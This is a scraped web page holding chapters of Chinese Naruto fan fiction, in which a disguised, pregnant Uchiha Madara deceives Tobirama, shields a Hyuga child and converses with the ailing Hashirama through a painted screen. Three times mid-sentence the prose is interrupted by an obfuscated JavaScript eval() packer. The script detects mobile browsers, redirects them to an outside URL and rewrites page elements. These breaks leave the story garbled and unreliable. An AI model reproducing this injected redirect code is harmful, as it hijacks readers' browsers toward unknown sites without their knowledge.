自从这个感觉上酷肖宇智波斑的女人出现,他就一直处于一种过分紧张的状态,分明并没有任何有力证据指出千夜夫人与那位死亡的忍界修罗有任何关联,仅仅只是出于他自己的疑心,就这样恶意地揣测、攻击他人——他的忠诚手下在一旁好几次因为扉间忍不住针对千夜夫人的话语在一旁欲言又止,仿佛是困惑为什么今天扉间如此反常。 也许是那位死去的宇智波不仅折磨着他的兄长,宇智波那阴魂不散的幽灵也同样的折磨着千手扉间。 尽管如此,那位手下得到他的暗示,还是忠诚地执行了他的命令,默默地退下。 扮做千夜夫人的宇智波斑虽然并没有看那位手下动身的方向,仍然谈笑如故,但他知道那得了扉间命令的家伙真正去了那里。 扉间还是这样暗搓搓的阴暗多疑,斑内心轻蔑的冷笑,真不知道光明磊落的柱间怎么会有一个如此心怀鬼胎的兄弟。 斑知道扉间一见自己就起了疑心,虽然他并不知道扉间是怎么感觉出来的,要知道斑的伪装课程其实在过去得过眼高于顶的宇智波老师的一致称赞,但斑也明白扉间其实并无十足的证据把握,不然扉间即使拼着得罪他国贵族的风险也一定会立刻缉拿住他。 所以,扉间一定是派手下去找真正的证据去了。 斑垂下眼睫,厌恶地想。 不一会儿,一位白眼的小女孩带着些紧张的神情遮遮掩掩地出现在街头。 9.第九章 海藻般浓黑波浪鬈发的美人眼眉之间带了些许倦怠神色,若殿様担忧地附耳询问,亲自为她褪去外面织锦靡丽、秾艳华贵的外裳与唐衣,众人才发现那位千夜夫人所穿并不是整套的十二单衣,里面其实是件相对简便行动的黑留袖和服。 ——其实仔细想想也并不奇怪,因为御台所的反对,这位千夜夫人并没有被正式册封,从身份上来说她依然只个乡野出身的平民美人,是没有资格穿需要一定品级才能穿戴的十二单。 只是若殿様宠爱这位乡野美人,所以蔑视规则,将许多超出品级的华美衣裳赐予了这位千夜夫人,以讨美人欢心——也就是说千夜夫人其实是有全套十二单的,但斑嫌那玩意儿层层叠叠地穿下来累赘又沉重,一点也不方便行动才只披了最外面的外裳与唐衣——反正糊弄一下忍村不懂规矩的大多数人他的目的就已经达到了。 美人沉思般微微蹙眉,令旁观者为之心碎:她是否在想以自己卑微的出身是否能与那位高贵的殿下结成正果呢?要知道她并没正式地通过仪式嫁给殿下,然而你看她却穿着已婚妇女才穿的黑留袖(其实是因为在若殿様送的那堆掐金满绣、花团锦簇的振袖打褂中这件看上去色彩最简洁,款式也不那么花里胡哨),说不定心里正为此而忧戚感伤呢! 于是围观者为自己想象中的爱情悲剧而慨叹了。 实际上正在蹙眉沉思的美人当前想法be like:实在是匪夷所思,那些柔弱的贵族女性到底是怎么忍受得了整天穿着这么累赘沉重的衣裳行动的?以及—— 那个日向家的小姑娘究竟还要磨蹭多久才肯行动? 斑借着倦乏的由头半敛着眼,睫毛投下的阴影掩住了那双黑白分明的眼瞳里的情绪。 宇智波斑并没有十足的把握可以欺骗过在洞悉方面尤为过人的白眼,但面对着即将到来的危机也并不紧张恐惧,相反,他此时心中充斥着冰冷的愤怒。 日向。他在心底讽刺地念着这个和宇智波一样以瞳术出名家族的姓氏。 那孩子仿佛终于下定了决心。 在即将路过他们一行人之际她惊慌失措地跌倒,一阵细微的查克拉波动从她的身上传来,不过眨眼间的功夫,月之国的守护忍立刻现身挟制住她,露出那孩子青筋毕露、处于开眼状态的白眼。 若殿様看着那小姑娘的眼睛,大怒不已。 “用白眼来看视我们——木叶忍村竟然是这样的待客之道吗?!” 斑用桧扇半掩着面容,暗自留神千手扉间此时的神情,颇为玩味地发觉扉间似乎对于这位交谈中性情甚是温和有礼的若殿様仅仅因为发现了一个白眼小姑娘而大发雷霆有点惊讶。 原来如此。宇智波斑在心中哂笑,这位千手的二当家原来并不十分清楚贵族对于瞳术血继的厌恶与忌惮。 当然,这并不是说千手扉间真就对此一无所知,他多多少少也肯定知道贵族不喜瞳术血继——然而就像鞋子合脚与否,终究只有穿的人才清楚,扉间只是知道,但并不真正了解。 人们大可以对命运悲惨之人施与同情,但却极难真正做到感同身受。 作为和白眼一样以瞳术出名的写轮眼,斑很明白这其中滋味。 战国时期有一段时间里政变频繁,暗杀不断,贵族们对于有着血继限界的忍者既拉拢又打压,没有真正拥有力量的贵族实质上内心极其忌惮这些有着力量的忍族,但愈是忌惮害怕,愈是色厉内荏,对于有着明显血继限界的忍族敌意十足。 白眼与写轮眼自然首当其冲。 写轮眼有幻术眼之称,贵族们其实也极担心自己被写轮眼的幻术所迷惑。很长一段时间里,身为族长的宇智波斑接贵族下发的任务时都需要蒙着眼以示诚心。尽管斑当时就很想嘲笑那些胆怯心虚的贵族:宇智波虽然以瞳幻术出名,然而这并不代表着宇智波就学不会其他幻术——许多幻术不需要写轮眼也能施放。 然而碍于贵族提供着忍者的衣食资金,宇智波也不得不耐着性子做做这个表面功夫使他们宽怀安心。 相比之下,白眼甚至比写轮眼惨多了。 宇智波的写轮眼不开启时与常人无异,日向的白色瞳孔可是一生下来就如此,极为显眼,时时刻刻提醒着众人这个家族与众不同的瞳术。 尤其白眼有透视眼的别称,即便是蒙着眼也打消不了贵族的疑心——贵族们甚至还怀疑作为透视眼的白眼能看到他们不穿衣服的裸、体,更是极度厌恶在这双眼睛下毫无隐私的状态。 尽管日向家一再强调白眼看到的并非裸、体,而是人体经脉也无济于事,人们总是更相信耸人听闻的消息,而且就算那些固执己见的傲慢贵族愿意相信被白眼看到的是人体经脉也没好到哪里去——谁愿意在卑贱之人眼中自己竟是一架人体骨骼与网状经脉呢? 贵族本来就有平民多看他们两眼就觉得对方竟然直面他们的尊容简直是大不敬的观念,白眼这样的透视眼显然是比这种“只是在人群中多看了你一眼”的大不敬行为更大不敬的,完全是在心高气傲的贵族雷点上蹦迪,于是有他们也曾联合在一起打压围剿过日向一族——导致本来是与宇智波齐名的瞳术家族,竟然在战国年代群雄争霸时期泯然于众矣,后来甚至混得远不如宇智波的附属小族群。 很难说日向一族唯唯诺诺、胆小怕事、惊弓之鸟一般的性格是不是在这时候被贵族们集体PUA出来的。 尽管日向一族已经如此的卑微温顺、诚惶诚恐了,贵族们还是十分厌恶那双特征明显的透视之眼。 别看这位月之国的若殿様一副温柔浪漫的痴情人模样,接人待事也蕴藉有度,完全符合人们对于优雅贵族的想象——但那是面对美人与强者,这位若殿様骨子里仍然是一个不折不扣的、视人命如草芥的贵族,面对着竟然敢在自己面前打开白眼、冒犯到自己贵族尊严的日向忍者,他自然雷霆震怒。 斑心中冷笑:扉间根本没有意识这个问题的严重性,他的命令想必是让日向家派高手在暗地里神不知鬼不觉地打开白眼观察千夜夫人有无异样,但没想到这个在他看来十分普通的命令会令日向家陷入难以抉择的困境。 作为战国时期因为白眼被打压的家族,日向太清楚这样做会怎样的触怒那些自尊心出奇强烈的贵族了——白眼的开眼状态需要把查克拉集中于眼部,这个过程中是有一定风险被贵族身边的守护忍发现的。 在日向家族的高手在暗处这样开眼观察贵族一旦被发现了,肯定会被视为日向家族是故意冒犯贵族,向贵族挑战——好不容易迎来忍村成立、家族发展新机遇的日向难道要重复战国时期的命运吗? 况且——就算是忍村方面发出的命令,木叶就一定会因此保住日向吗? 别逗了,看看另一个瞳术家族宇智波,就算是木叶的创始一族,损害了村子的利益也照样被忌惮排挤,到时候贵族要说法日向被推出去做村子的替罪羊怎么办? 日向一族是真的只想平静的在暗地里苟着猥琐发育,一点也不愿意搞事出名的。然而扉间发出的命令他们又不得不从,不然也很容易因此被诟病,认为不听指挥,容易被穿小鞋。 是以他们想来想去,想出了一个在他们看来万无一失的“好办法”:派一个没什么天赋的分家孩子去执行此次任务,算是敷衍木叶方面的命令:瞧,我们可是听您的命令派了人去,不是没做任务;对于贵族那边,就说小孩子不懂事乱开眼,完全不代表日向一族的态度,为表诚意日向愿意交出这孩子的性命平息您的怒火——是的,这个匍匐在地上巍巍颤抖着的日向小姑娘是被家族选定了的弃子。 斑自心底里感到悲凉。 他之所以敢在没有完全把握骗过日向白眼的情况下选择装扮成贵族女性——呵,甚至并非是真正的贵族女性,只是大名嗣子宠爱着的平民女人,就是吃定了胆小惯了的日向绝不敢主动对贵族开眼观察。 情况甚至比他想象得更糟,日向的谨慎懦弱与这一族对于木叶的不信任甚至比斑预料的更夸张。 那日向的小姑娘知道她自己是注定走向死亡的牺牲品吗? 不过是七八岁的孩子,应该还在父母怀里撒娇的年纪,就因为叛忍的偶然任性,贵族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“并非看你,她看的是我肚子里的孩子呢,”乡野出身的美人微微的笑了,示意一旁的守护忍松开羁押女孩的手,扶着肚子蹲下身询问日向的小姑娘,“你看到我腹中的孩子了么?ta刚刚在做什么?” 那孩子敏锐的察觉到了这位美丽的夫人的善意,面对着贵夫人的问话,她蹲在地上抱膝蜷缩,学着那夫人腹中婴儿可怜巴巴的团在一起:“宝宝像这样,看上去小小的蜷缩在一起,很虚弱。” 自怀孕之后,在激素的作用下斑本来就极容易情绪激动起伏,看见那被家族父母抛弃的牺牲品小姑娘认认真真地模仿着自己腹中孩子的姿态,蜷缩成小小的一团儿,一阵揪心的痛苦从心脏蔓延,几乎落泪。 千手扉间用几乎见鬼的眼神看着酷肖宇智波斑的女人扶着肚子对那小姑娘露出极其母性的温柔怜爱。 好的,现在他的确可以确认这怀着肚子、如此富有母爱的女人不会是宇智波斑了。 扉间注视着这违和感爆棚的一幕眉心狂跳:那温柔母性的美人抱住那蜷缩着的孩子,温声安慰对方不用怕,已经没事了,下次注意就好,美目中甚至微微有爱怜的泪水闪动。 ——尽管扉间觉得这画面因为又像那位忍界修罗又像一位温柔母亲的一幕而感到十分不适。但显然他的看法是非常小众的,在场的人民群众一致认为这画面充满母爱般的温暖缱绻,仿佛遥远异域传来的温柔圣母像。 结局自然皆大欢喜,那位月之国的若殿様最终在心爱美人的恳求下放过了日向家的小女孩,虽然他仍然恐吓着日向族长“下不为例”,但这仍不失为一种美满的结局,一样刺激的酒后谈资,大家都很满意。 这次事件之后只有千手扉间做了一晚上宇智波斑大着肚子、并声称里面怀的是他哥柱间孩子的噩梦。 扉间在那梦中不可置信地大喊:“不,男人不可能会怀孕,而且我哥和你是清白的,你不要乱污蔑人!” 身着铠甲、大着肚子的忍界修罗冷笑:“事实如此而已,况且——你真的能确定他和我是清白的么?” 梦中扉间竟不能对此作答,吓得惊醒过来。 实在是太可怕了! 扉间惊魂未定,反思自己最近是不是真的作恶多端,不然他怎么会做出这等离奇的噩梦? 10.第十章 斑当然对于扉间那心理阴影深重的噩梦无所得知——但就算知道了他也完全不会放在心上。 有关于千手扉间的问题已经解决了,斑漫不经心地想。 他确定扉间已经打消了对自己真实身份的疑虑,这对于宇智波斑来说就足够了。 尽管斑在心底里讥刺扉间分明有着天赋的敏锐感知,却并不相信、乃至于糟践着他自己那与生俱来的才能。 ——在得到了足够证据证明千夜夫人只是个怀了孕的普通女人后,扉间冷酷的理智压倒了他自己那一瞬即触的敏锐直觉,放弃了对于千夜夫人这个身份的后续追查。 对于这个结果,斑一点也不意外。 扉间想必是觉得对千夜夫人的警惕只是出于他自己的偏见,因为厌恶宇智波斑本人而迁怒与一个只是与他相似的女人是极不理智的做法,甚至如果不是因为千夜夫人的善心,还差点害得一个无辜者断送性命——扉间自己也不能原谅自己的大题小做。 何况理性也使得千手扉间更愿意相信摆在自己面前的事实证据,而非他自己的真实感受——对于多数情况而言,这的确是正确的、讲道理的做法。 斑讽刺地想:可惜这个世界的运转并不总是正确、讲道理的——有时候人类对于某人某事莫名其妙的直觉预感甚至比用各种冷冰冰的数据运算出来的结果更能敏锐地直达事物本质与真相。 况且千手扉间本人——在斑看来,也压根不算真正的理性者:他是一个充满着偏见的理性者,这阻碍着千手扉间看清真正的真相。 这样的说法虽然在纯粹的理论中是矛盾且难以想象的:即如有偏见则会导致不理性,如果理性则不会导致偏见。 然而理论毕竟只是理论,实践中人们不乏时常讶异地发现两种截然相反的特质集中于一人身上:无私者亦有自□□,冷酷者亦有怜悯心。 造物主仿佛是存心地要这样制造冲突,端看这些矛盾之处将在人类身上演化出怎样的悲欢离合。 是以世间多自我矛盾着的庸人:瞻前顾后,徘徊歧路,成不了大善者,也做不了大恶者,面对着自我的矛盾总是模模糊糊地一带而过,或者干脆竟不能自我意识到其中抵牾之处。 ——千手扉间也不过其中一碌碌庸人罢了。 斑这样兀傲地点评着。 难免地,他也因此沿溯着千手扉间身上的血脉亲缘关系想到那个被誉为忍者之神的男人——腹中的婴孩仿佛感知到了什么,微微动了一下,彰显自己的存在感——斑摩挲着隆起的小腹,眉眼间流露出自己也没意识到的温柔缱绻之色。 那个男人,也同样是他腹中孩子的父亲、宇智波斑唯一承认的挚友与对手——千手柱间。 尽管千手柱间杀死了他。 但斑对于柱间的选择并无丝毫怨言,甚至十分欣赏柱间这种果决态度: 虽然两人选择了不同的道路,然而毕竟拥有着同样的理想目标,那么就让他们各自在所选道路上坚决地走下去,也许会在最终的目标上殊途同归,也许免不了狭路相逢——那就尽情享受彼此之间的战斗吧! 哪怕自己因此输了性命无妨,宇智波斑是这样想的。 虽说他对于柱间本末倒置的做法有些失望,但并不怨恨柱间最后的绝情。 因为斑知道柱间无法割舍他们注入太多心血的木叶,哪怕他们都意识到了木叶身上所存在的巨大缺陷。 他们的分歧也正在于木叶: 斑抱有悲观主义者的观点,认为木叶已经从根上开始腐烂,只会越来越黑暗,应该及早舍弃这一注定失败的道路;而柱间却是个天生的乐观主义者,他认为事情尚且不至于绝望,还有转圜的地步,现存的的木叶虽有缺陷但并非不可改正,即使现在做不到,后来的火之意志的继承者也一定会做到——斑对此不置可否。 但无论如何,斑设想过许多未来,但那许多未来里绝不包括柱间重病而死的一种。 在这场真正的理想之争中,作为对手的柱间如果突然死亡——斑绝不能想象他那样的人死于疾病床榻之中——会让他感到兴味索然,天地为之黯然。 所以,他要回到木叶,要探寻柱间的病因,尽管这一选择所面临的困难重重,甚至有可能暴露身份,阻碍到他真正的理想之路。 ——不同于千手扉间这样理性与偏见混杂、反而容易被事物的一面所遮蔽的矛盾者,斑深切地明白柱间并非如此容易糊弄的对象。 柱间的直觉与理性同样强大。 他从不被世俗偏见所挟持,在家族世代的血腥仇恨中仍能保持澄明的本心,知道所有人皆不过是战争下的牺牲品,能看见、感受、共情与自己身份、立场、观点不同之人。因此,他的直觉能不仅一瞬而触,还能做到一触即觉,剑指事情问题的核心所在。 同样,柱间的强大理性也能够做到在察觉到斑与村子的利益之间的冲突已经无可转圜之时,明确自己的目标,在挚友与村子之间做出选择,然后毫不犹豫地杀死了挚友,维护了村子的利益。 ——多么强大而完美的忍者啊,无愧于世人对于他的那句评价:壮丽高耸的忍界巅峰,点燃天下太平之火。 所以斑尽可以无视白眼的威胁,因为这个家族深入骨髓的懦弱谨慎实在是太好利用了,甚至可以用这一点来反向证明他所伪装身份的清白;也大可以蔑视扉间,尽管他是一个世间难得的优秀感知忍者,然而性格上的致命缺陷亦让斑有空子可钻;但斑绝不小觑柱间,哪怕他此行到木叶所观察到的种种迹象皆证明木叶的初代目的确处于重病之中。 然而斑此行所来的的目的又恰恰是看望柱间,分析他的病因,甚至如有可能还要尽可能激起柱间活下去的斗志。 柱间——斑半是骄傲半是复杂地叹息:他没有信心能够瞒过柱间,一点也没有。 但他还是这样来到木叶了,带着赌徒倾尽所有的心态。 斑承认这的确是出于自己极度不理性的感情之故。 他也讥笑、讽刺甚至想要强行克制自己那难以理喻的、丝毫不理性的感情,却依然不得不屈从于自己那痛苦的、堪称可怕的激烈感情之中。 他虽然抛弃了家族,却无论如何无法割舍掉自身那属于宇智波爱憎激烈、甚至可以称得上疯魔的癫狂血脉。 对于柱间的感情亦是他那癫狂血脉的一部分,将无法割舍地在他身体里永远流淌,直至他的心脏不再跳动。 事已至此,斑闭着眼,食指弯曲着敲击着面前的案几,思考着瞒过柱间的办法。 最好的办法当然是两人并不直接见面。 尽管宇智波斑的女装扮相以及秘术使得他的伪装几乎无懈可击,柱间也不是什么感知忍者,更没有白眼之类的洞察类血继,但斑笃定的知道如果两人面对面的话柱间一定会认出他。 那么,就这样办吧—— 千夜夫人睁开眼睛。 * 扉间正在写一份措辞严谨的信,他斟酌着用词,久久没有落笔。 倒不是那信有多么难写,而是扉间在想…… “扉间,你在犹豫什么呢?” 兄长的声音从背后传来,扉间下意识地想要藏起那信,但又转而想到柱间其实并不知道他在写什么,更不知道他所顾虑的是什么,便硬生生地停下动作,掩饰性地取了放在一旁镇纸压在信笺上。 柱间今天的气色看上去似乎要好一点了,虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就连那位若殿様写了邀请信说想要与木叶村真正的首领千手柱间商谈要事,扉间都要想办法在不得罪对方的情况下写信回绝——就是他开头在苦恼的那封信。 扉间在想,就算那位千夜夫人的身份已经被白眼证明的确是清白的,自己也决不能让她与兄长有任何见面的机会——她太像那个人了。 怀着这样的恐惧之心,扉间仔细地观察着兄长的表情,试图在上面寻找出异常。 然而他失败了,向来大大咧咧、喜怒形于色的兄长脸上并没有什么古怪之色。 “那也不行,”扉间断然拒绝,“你的身体状况并没有那么你想象的那么乐观,现在出现在人前反而会被人发觉你的病情——” “我这么长时间都不出现,木叶里的人心里基本都有数了,一味的躲避并不是办法,”柱间镇定地回答,“倒不如趁我如今身体还不错,借着月之国若殿様这次到访出面一次,还能打消大家的疑虑,不好吗?” 扉间知道他是对的:“但是——” “我已经决定了。”柱间站起身,语气柔和,但不容驳斥,“准备一下:告诉那位若殿様我明天就会去拜访他。” 扉间于是知道大事不妙了:柱间恐怕在来之前就已做好决定,此行只是为了通知他一声。 而且扉间根本阻止不了他:忍者之神真正要下定决心做的事从来没人能阻止得了,就像与敌对忍族的少族长成为挚友,就像与宇智波的结盟—— 他额头的汗水涔涔而下,绝望地想: 为什么兄长最终还是非要与那酷肖宇智波斑的女人见面不可呢?!! 11.第十一章 不大但极其雅致的园林,里面种着女贞,红豆杉,铁冬青,厚皮香,光叶石楠等用来给日式庭院造景的常绿乔木,即使在寒冷萧索的初冬时节亦显得蓊郁葱茏,异常清幽。 这里是木叶专门为接待贵客所修建的庭院。 木叶久不在人前露面的火影在庭院的一处青石手水钵里洗净了手,沿着庭院里引路的飞石小径走向庭院深处的茶室。 柱间不疾不徐地行走在那条走过许多遍的小径上,内心升起了异样的恍惚: 几步之外的天地间草木萧疏,多为枯枝败叶,生命的气息极其衰微,与这座选取了长青不败的名贵园林植物,由专人精心打理形成的葱蔚洇润的园林大相径庭,简直不像在一个季节,令他有如梦之感,仿佛脚步踏得重些便会惊起阵阵蝉鸣。 自己仿佛正在走进过去那绿意盎然的夏天里,初代目怔忪想着。 但想象中的蝉鸣并没有响起,迎面而来的料峭寒风很快将他从那迷离惝恍的夏日之梦中拽回现实。 于是千手柱间定一定神,看见了路途前方在茶室前侍立着的武士,一个垂发的侍女恭顺地迎上来,将木叶的首领引入室内。 茶室——但并非那种正规的传统茶室。 传统茶室入口窄小,客人得跪行进入,据说是为了更好地用无我的谦卑之心品茶;而且讲究清淡雅和,简单朴素,以追求自然之意。 但这里的茶室显然并不是这种单纯用来品茶赏鉴的场所。 多数情况下这间茶室里充满着各种政治上的高谈阔论,谈笑间不乏怀疑、试探与交锋——与茶室的谦卑宁静的本意背道而驰。 只不过比起那些需要飞觥献斝的酒肉场合这里还是要更风雅柔和些——毕竟是喝茶呢,火药气并不那么浓烈。 是以这间茶室修建得十分明朗阔大,各色贵重家具装饰一应俱全,还有一面画着袄绘的华丽隔扇格外引人瞩目。 那上面的袄绘是一副春日美人图,开得如雾如云、华美绚丽的樱花压得枝头低垂,漫天落英,树下有素手提着繁重华丽的和服下摆、行走间微现出木屐赤足的美人在那里微笑——那樱花与美人虽然那样秾丽娇艳着,然而不知为何,那美丽中却又带了莫名的、轻轻的哀愁。 这副春日美人图的隔扇后面还存在一个隐蔽的房间,权当做摆放茶具的水间。 柱间不必抬眼望去,也不需要查克拉感知,便知道那绘着春日美人图袄绘的华丽隔扇后的隐蔽房间里还有着一人:除去茶室内若殿様与侍者的生命体征,那隔扇外的房间里显然还存在着另外一人清浅的心跳与呼吸声—— 猛一瞬间,柱间感到自己身体的病又剧烈发作起来,异样的痛苦情绪在他体内如潮水般汹涌,耳朵里响起了并不存在的、炎夏永昼里震颤的蝉鸣。 在那幻听的浩荡蝉鸣之中,他几度不能呼吸,肢体僵硬隐痛。 然而千手柱间熟练地克制着自己的异样,哪怕强烈的躯体化反应折磨得他痛苦不堪,他面上也未显露分毫,甚至若无其事地端起案几上侍者刚摆放好的茶轻轻啜饮了一口—— “真是好茶水呀,”他夸赞道,露出豪爽真诚的笑容,“如兰在舌,齿颊留香。” 月之国的若殿様闻言面露得色,也端起面前的茶水优雅地呷一小口:“这是我们月之国特产的夜月茶,要在满月那天清幽的月色下派年轻纯洁的少女连夜采撷最鲜嫩的部分以秘方炒制,方才能得如此异香的名贵之茶,更何况——” 他满怀柔情地望向那绘着樱花美人的隔扇,“这可是我心爱之人亲手所沏的茶,味道怎么会不好呢?” 隔扇外的隐蔽房间传来陌生女人那宛如叹息般低沉哀伤的动人声音。 “大人——” 柱间放下茶杯的手一颤,泼出一点茶水。 若殿様并没有察觉到火影的失态,他的注意力完全被隔扇后自己心爱的美人给吸引了:“吾爱,你就放心歇息着吧,等与火影阁下交谈完毕我再来陪着你。” 他转回头对着千手柱间歉意地颔首:“千夜是我心爱的夫人,这次谈话也不用避嫌她——千夜本来是要陪我一同出席的,要不是她因为怀着我们的孩子,身子重,不能操劳,我实在怜爱她,才让她在旁边的房间里歇息着——” 如同天底下所有陷入热恋的普通男人一样,月之国的若殿様露出略带苦恼的甜蜜微笑:“即使这样,千夜担心我喝的茶水其他人沏得不好,还非要亲手为我沏茶不可。” 他这样如孩子般快乐纯粹地炫耀着心上人,千手柱间垂了眸子,顺着这位贵族殿下的心意称颂道:“殿下与夫人甚是相爱。” * 宇智波斑身体抵靠在墙角,腿脚几乎支撑不住,滑坐在地上,坐在自己身上那绮靡瑰丽、层层堆叠的华贵服饰之中。 蓦地,他将一只手抚上那层华美的、薄薄的隔扇,向那里面灯火辉煌的房间望去。 即使不用眼睛去看,他也知道,柱间确实病重且衰弱着。 他的脚步不再如从前般稳健轻快,心跳也不再沉稳有力,甚至—— 斑闭上眼将脸靠在冰冷的隔扇上,不用查克拉感知,他只是用自己身为强大忍者的灵敏感官隔着隔扇去感受着对方的气息——连呼吸声都是那样的虚浮,断断续续,时有时无,只是极力掩饰着,斑几乎能想象到那个男人平静如常的面容——即使他深深地痛苦着。 柱间。 他几乎要咬破自己涂着艳丽唇脂的嘴唇,骨节分明的纤长手指将轻滑柔软的衣袖紧紧攥着,绞着——柱间离他只隔着这一层朦胧半透明的隔扇,太近了,实在太近了,近得他能感受到那人的呼吸心跳,因此也分外痛苦。 这个曾经执掌万木、能掀覆天地的强大男人如今怎么会如此虚弱,被病痛缠身、却还要强撑着为木叶打算——柱间啊! 斑几乎控制不住自己想要从唇中吐出这个名字,却又不得不死死地克制着自己那几乎在胸腔中爆裂的炽热情感——他绝不能在这种时候显露出异常。 即使是在只有自己一个人存在的隐蔽房间,他也必须是千夜夫人——只有当他不是宇智波斑时,他才能够在木叶被众人放心地、如此之近地接触到初代目火影。 虽然这所谓的近距离接触也不过是隔着一层华美的隔扇。 斑着迷地听着柱间与若殿様的谈话。 他听到那个男人温润言语下的机锋,那机锋之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14245168|149935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这位病重的火影为木叶殚精竭虑的打算,听他以诚恳、宽容的心打动着月之国未来的国主,以期两方未来长久的交好——隔扇的阴影之下,美人微微地笑了,他知道柱间一向这样的擅长以真情动人。 几乎很少有人能不被他这样虚怀若谷的领袖魅力所吸引——斑承认自己就曾是那飞蛾扑火的一员,狂热奔向那灼灼的光明之中,哪怕粉身碎骨也毫不畏惧。 期间,那位月之国的若殿様不乏频频提起他——当然是以千夜夫人的身份,在柱间面前提起他们相爱的种种事迹。 要不是无名幻术并不能操控人的行为,其他能操控人行为的幻术又容易因为查克拉被发现,斑真想把这家伙乱说话的嘴给缝上。 其实在其他人面前这位若殿様也照样非常狂热地秀恩爱,但那时候宇智波斑对此内心毫无波动,甚至还会为了千夜的身份十分配合地与他演一出恩爱情深的戏码——这是斑做忍者的基本功,学潜伏课程的时候族中老师曾极其严苛地要求过他们要完美扮演出所化之人的性格举止。 然而不知为何,也许是因为在柱间面前,而且柱间还会顺着若殿様的心意夸两人相爱,斑就感到一阵火烧般的坐立难安。 孩子又调皮地隔着肚皮同斑打招呼,斑习惯性地将手放到肚腹上回应着这个他与柱间的孩子——尽管堕胎药让这个孩子虚弱了一段时间,但连见多识广的老医师也感叹这孩子的生命力异常之顽强,性格十分活泼——该说不愧是千手柱间的种吗? 柱间的声音从隔扇外震震地传来,音波在隔扇上微微的振动,传给脸贴着隔扇的美人身上,引得他内心也随着柱间声音振动的余波一阵阵地起着波澜。 斑摩挲着自己隆起的肚子,忽然想:孩子知道这声音的主人是ta的另一个父亲吗? 他随即露出苦笑。 柱间不知道这孩子的存在,也必然不能知道。他与柱间的孩子也终其一生都只能知道自己才是父亲,不能知道自己基因的另一提供者是柱间。 不然,他要如何向那稚儿解释他身为男人却怀了另一个男人的孩子呢? 思及此,斑几乎是感到一阵难堪的羞耻了——尤其是自己腹中孩子的另一个父亲此时正毫不知情地坐在那薄薄的隔扇之外。 外面的正式谈话告一段落了。 若殿様又万般柔情地呼唤着千夜的名字,关切的询问着她的身体如何,是否还如前几日一样因为怀孕而干呕,腹中他们的孩子是否乖巧,有踢她吗?——随即又嗔怪那孩子如此不体贴母亲,将来出生后他一定要好好教育对方。 斑极力忍耐着在柱间面前谈论自己怀孕之事的羞耻,以千夜的声音温柔婉转地回复了对方。 良久——但也许是只过了一会儿,柱间的声音复又响起。 “此行与若殿様的交谈甚是愉快,愿我们之后的合作也能一样愉快。此外我亦有话想要询问殿下的这位千夜夫人,”柱间声音温和,但语气还是透露出了他急切得近乎焦躁的心情,“您是在什么情况下得到了他的信件——” 忍者之神声音里有着斑不熟悉的、沉重痛苦的颤音。 “千夜夫人,您认识我的挚友——宇智波斑吗?” 12.第十二章 柱间眼睛紧紧地钉向他问话所达的方向,目光锐利地刺穿富丽靡艳的春日美人袄绘,透过薄薄的隔扇所带来的迷障,直直地望向房中的那人—— 思维鸣响带来的聒噪蝉鸣在他耳畔响振不息,震耳欲聋,但柱间对此充耳不闻,只凝神去注意着那层隔扇,等待着隔扇后的答复。 春日的樱花树被钉在那隔扇的袄绘上,永久地飘落着那些粉红花瓣,永久地失去着自身的一部分——以一种令人赏心悦目的方式部分在画中寂静唯美的死去,窗外而来的清风轻轻流动着,试图吹拂起上面如雾如云的落英,但这注定是徒劳的努力——画中的人与物并不因此所动,仍是轻轻的、不可变动的哀愁着。 柱间凝望着那副袄绘,几乎是灵犀所至的某一刹那,他意识到隔扇后的那人其实也正隔着那袄绘看着他。 两人隔着重重迷障对视着。 从那有着珍贵名茶的遥远国度远道而来的美人隔着袄绘轻轻开口。 “是的,妾身与他相识。” 许久以后,漫长的时间会证明这位神秘来历的美人此时的一句话将会怎样地改写了忍界的历史,尽管这位美人在历史的追溯中终于不知去向,成为后世人们心中不可解的传奇之谜。 但处于某种神秘的宿命指引下,这只不知从何而来的美丽蝴蝶翩然来到此地,全然不知自己将在历史里掀起怎样的风暴,这场风暴又是如何地改变了原本即将爆发的战争,因为—— 这场注定掀覆忍界的风暴此时正蕴藏在忍者之神心中,是为他焦枯旷野的良药,为他满溢,为他降露,令他久久悬望。 历史的有趣也正在这里:此时此刻在场的所有人都没有意识到这平常的一幕将对后世将产生怎样的深远影响,包括忍者之神本人。 千手柱间内心轻轻地叹息,经久不息的蝉鸣在那叹息里被淹没了。 “千夜夫人,您能仔细说说吗?” 忍者之神虔诚而哀恸地温柔请求着。 斑向来很少能真正拒绝柱间,就连面对柱间的消沉也很少忍心无视——更不用说是这样哀伤悲恸的柱间。 他感觉一团棉花正梗在自己喉咙里,堵塞着,唇边几乎要溢出哽噎的泣音,然而宇智波斑那所剩无几、摇摇欲坠的理智立刻阻止了他—— 千夜夫人微不可察地清了清嗓,涂着唇脂的双唇微动,发出的声音一如往昔地泠然动人。 “妾身曾经被那位宇智波大人从山贼手中所救。因那时身份微薄,又无财物,无以回报他之恩情,便许下承诺说一定竭尽自己之力回报于他。” 忆及往事,她微微的叹息。 “想来那位大人最后被妾身缠不过,见妾身实在过意不去,便道他确实有事相托于我,因为此行收获惊人,他随身携带之物甚多,难以全部带回家中,是否能替他保管一二——妾身那时的居所正在不远之处,便答应了恩人的请求。然而……” 